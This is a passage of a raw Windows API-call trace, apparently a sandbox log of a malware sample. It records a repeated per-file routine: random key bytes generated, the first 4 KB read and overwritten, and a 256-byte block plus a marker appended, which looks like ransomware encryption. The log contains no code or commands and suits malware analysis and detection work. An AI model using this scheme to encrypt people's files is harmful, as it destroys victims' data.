GetProcessHeap () returned 0x540000 [0087.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.430] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.430] WriteFile (in: hFile=0x980, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.430] WriteFile (in: hFile=0x980, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.431] GetProcessHeap () returned 0x540000 [0087.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.431] GetProcessHeap () returned 0x540000 [0087.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.431] GetProcessHeap () returned 0x540000 [0087.431] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.431] CloseHandle (hObject=0x980) returned 1 [0087.433] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 130 [0087.433] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.433] ReadFile (in: hFile=0x984, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.433] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.433] GetProcessHeap () returned 0x540000 [0087.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.433] GetProcessHeap () returned 0x540000 [0087.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.433] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.433] GetProcessHeap () returned 0x540000 [0087.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.433] ReadFile (in: hFile=0x984, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.481] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.481] WriteFile (in: hFile=0x984, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.481] GetProcessHeap () returned 0x540000 [0087.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.481] GetProcessHeap () returned 0x540000 [0087.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.481] GetProcessHeap () returned 0x540000 [0087.481] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.481] GetProcessHeap () returned 0x540000 [0087.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.481] GetProcessHeap () returned 0x540000 [0087.481] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.481] GetProcessHeap () returned 0x540000 [0087.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.481] GetProcessHeap () returned 0x540000 [0087.481] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.482] GetProcessHeap () returned 0x540000 [0087.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.483] GetProcessHeap () returned 0x540000 [0087.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.484] GetProcessHeap () returned 0x540000 [0087.484] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.484] GetProcessHeap () returned 0x540000 [0087.485] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.485] GetProcessHeap () returned 0x540000 [0087.485] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.485] GetProcessHeap () returned 0x540000 [0087.485] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.486] GetProcessHeap () returned 0x540000 [0087.486] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.487] GetProcessHeap () returned 0x540000 [0087.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.487] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.487] WriteFile (in: hFile=0x984, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.488] WriteFile (in: hFile=0x984, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.488] GetProcessHeap () returned 0x540000 [0087.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.488] GetProcessHeap () returned 0x540000 [0087.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.488] GetProcessHeap () returned 0x540000 [0087.488] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.488] CloseHandle (hObject=0x984) returned 1 [0087.489] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 131 [0087.489] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.489] ReadFile (in: hFile=0x988, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.489] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.489] GetProcessHeap () returned 0x540000 [0087.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.489] GetProcessHeap () returned 0x540000 [0087.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.489] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.489] GetProcessHeap () returned 0x540000 [0087.489] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.489] ReadFile (in: hFile=0x988, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.537] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.537] WriteFile (in: hFile=0x988, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.537] GetProcessHeap () returned 0x540000 [0087.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.538] GetProcessHeap () returned 0x540000 [0087.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.539] GetProcessHeap () returned 0x540000 [0087.539] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.539] GetProcessHeap () returned 0x540000 [0087.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.540] GetProcessHeap () returned 0x540000 [0087.540] RtlAllocateHeap 